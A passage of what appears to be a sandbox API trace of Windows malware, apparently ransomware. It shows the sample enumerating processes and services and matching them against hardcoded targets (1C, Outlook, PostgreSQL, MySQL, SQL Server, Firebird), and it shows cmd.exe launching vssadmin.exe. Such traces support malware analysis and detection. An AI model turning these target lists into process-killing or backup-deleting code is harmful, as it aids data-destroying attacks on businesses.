(lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0134.561] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0134.561] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0134.561] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0134.561] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0134.561] Process32NextW (in: hSnapshot=0x330, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0134.563] lstrlenW (lpString="csrss.exe") returned 9 [0134.563] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0134.563] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0134.563] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0134.563] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0134.563] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0134.563] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0134.563] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0134.563] Process32NextW (in: hSnapshot=0x330, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0134.563] lstrlenW (lpString="wininit.exe") returned 11 [0134.563] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0134.563] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0134.563] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0134.563] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0134.563] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0134.563] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0134.563] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0134.563] Process32NextW (in: hSnapshot=0x330, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0134.564] lstrlenW (lpString="csrss.exe") returned 9 [0134.564] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0134.564] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0134.564] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0134.564] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0134.564] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0134.564] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0134.564] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0134.564] Process32NextW (in: hSnapshot=0x330, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0134.564] lstrlenW (lpString="winlogon.exe") returned 12 [0134.564] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0134.564] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0134.564] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0134.564] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0134.565] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0134.565] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0134.565] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0134.565] Process32NextW (in: hSnapshot=0x330, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0134.565] lstrlenW (lpString="services.exe") returned 12 [0134.565] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0134.565] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0134.565] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0134.565] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0134.565] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0134.565] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0134.565] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0134.565] Process32NextW (in: hSnapshot=0x330, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0134.565] lstrlenW (lpString="lsass.exe") returned 9 [0134.565] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0134.566] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0134.566] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0134.566] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0134.566] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0134.566] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0134.566] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0134.566] Process32NextW (in: hSnapshot=0x330, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0134.566] lstrlenW (lpString="lsm.exe") returned 7 [0134.566] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0134.566] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0134.566] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0134.566] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0134.566] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0134.566] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0134.566] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0134.566] Process32NextW (in: hSnapshot=0x330, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.567] lstrlenW (lpString="svchost.exe") returned 11 [0134.567] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0134.567] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0134.567] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0134.567] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0134.567] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0134.567] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0134.567] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0134.567] Process32NextW (in: hSnapshot=0x330, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.567] lstrlenW (lpString="svchost.exe") returned 11 [0134.567] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0134.567] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0134.567] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0134.567] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0134.567] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0134.567] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0134.567] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0134.567] Process32NextW (in: hSnapshot=0x330, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.568] lstrlenW (lpString="svchost.exe") returned 11 [0134.568] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0134.568] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0134.568] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0134.568] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0134.568] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0134.568] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0134.568] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0134.568] Process32NextW (in: hSnapshot=0x330, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.568] lstrlenW (lpString="svchost.exe") returned 11 [0134.568] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0134.568] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0134.568] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0134.568] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0134.568] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0134.568] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0134.568] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0134.568] Process32NextW (in: hSnapshot=0x330, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.569] lstrlenW (lpString="svchost.exe") returned 11 [0134.569] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0134.569] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0134.569] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0134.569] Process32NextW (in: hSnapshot=0x330, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0134.569] lstrlenW (lpString="audiodg.exe") returned 11 [0134.569] Process32NextW (in: hSnapshot=0x330, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.570] lstrlenW (lpString="svchost.exe") returned 11 [0134.570] Process32NextW (in: hSnapshot=0x330, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.570] lstrlenW (lpString="svchost.exe") returned 11 [0134.570] Process32NextW (in: hSnapshot=0x330, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0134.570] lstrlenW (lpString="spoolsv.exe") returned 11 [0134.570] Process32NextW (in: hSnapshot=0x330, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0134.571] lstrlenW (lpString="taskhost.exe") returned 12 [0134.571] Process32NextW (in: hSnapshot=0x330, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.571] lstrlenW (lpString="svchost.exe") returned 11 [0134.571] Process32NextW (in: hSnapshot=0x330, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0134.572] lstrlenW (lpString="userinit.exe") returned 12 [0134.572] Process32NextW (in: hSnapshot=0x330, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0134.573] lstrlenW (lpString="dwm.exe") returned 7 [0134.573] Process32NextW (in: hSnapshot=0x330, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0134.573] lstrlenW (lpString="explorer.exe") returned 12 [0134.573] Process32NextW (in: hSnapshot=0x330, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0134.573] lstrlenW (lpString="3G6885.exe") returned 10 [0134.573] Process32NextW (in: hSnapshot=0x330, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0134.574] lstrlenW (lpString="reader_sl.exe") returned 13 [0134.574] Process32NextW (in: hSnapshot=0x330, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0134.574] lstrlenW (lpString="dllhost.exe") returned 11 [0134.574] Process32NextW (in: hSnapshot=0x330, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0134.574] lstrlenW (lpString="cmd.exe") returned 7 [0134.574] Process32NextW (in: hSnapshot=0x330, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0134.575] lstrlenW (lpString="conhost.exe") returned 11 [0134.575] Process32NextW (in: hSnapshot=0x330, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x658, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0134.575] lstrlenW (lpString="vssadmin.exe") returned 12 [0134.575] Process32NextW (in: hSnapshot=0x330, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x658, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0134.576] CloseHandle (hObject=0x330) returned 1 [0134.576] Sleep (dwMilliseconds=0x1f4) [0135.085] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41d8950 [0135.313] EnumServicesStatusExW (in: hSCManager=0x41d8950, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0135.314] GetLastError () returned 0xea [0135.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc9a) returned 0x41d77b8 [0135.314] EnumServicesStatusExW (in: hSCManager=0x41d8950, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41d77b8, cbBufSize=0xc9a, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41d77b8, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0135.314] CloseServiceHandle (hSCObject=0x41d8950) returned 1 [0135.315] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0135.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0135.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0135.315] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0135.315] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0135.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0135.315] lstrlenW (lpString="AudioSrv") returned 8 [0135.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0135.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0135.315] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0135.316] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0135.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0135.316] lstrlenW (lpString="BFE") returned 3 [0135.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0135.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0135.316] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0135.316] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0135.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0135.316] lstrlenW (lpString="CryptSvc") returned 8 [0135.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0135.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0135.316] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0135.316] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0135.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0135.316] lstrlenW (lpString="CscService") returned 10 [0135.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0135.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0135.316] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0135.316] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0135.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0135.317] lstrlenW (lpString="DcomLaunch") returned 10 [0135.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0135.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0135.317] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0135.317] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0135.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0135.317] lstrlenW (lpString="Dhcp") returned 4 [0135.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0135.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0135.317] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0135.317] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0135.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0135.317] lstrlenW (lpString="Dnscache") returned 8 [0135.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0135.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0135.317] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0135.317] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0135.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0135.317] lstrlenW (lpString="DPS") returned 3 [0135.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0135.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0135.317] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0135.317] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0135.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0135.317] lstrlenW (lpString="eventlog") returned 8 [0135.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0135.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0135.318] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0135.318] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0135.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0135.318] lstrlenW (lpString="EventSystem") returned 11 [0135.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0135.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0135.318] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0135.318] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0135.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0135.318] lstrlenW (lpString="gpsvc") returned 5 [0135.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0135.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0135.318] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0135.318] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0135.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0135.318] lstrlenW (lpString="LanmanWorkstation") returned 17 [0135.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0135.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0135.318] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0135.318] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0135.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0135.318] lstrlenW (lpString="lmhosts") returned 7 [0135.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0135.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0135.319] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0135.319] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0135.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0135.319] lstrlenW (lpString="MMCSS") returned 5 [0135.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0135.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0135.319] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0135.319] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0135.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0135.319] lstrlenW (lpString="MpsSvc") returned 6 [0135.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0135.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0135.319] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0135.319] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0135.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0135.319] lstrlenW (lpString="NlaSvc") returned 6 [0135.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0135.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0135.319] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0135.319] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0135.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0135.319] lstrlenW (lpString="nsi") returned 3 [0135.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0135.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0135.320] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0135.320] 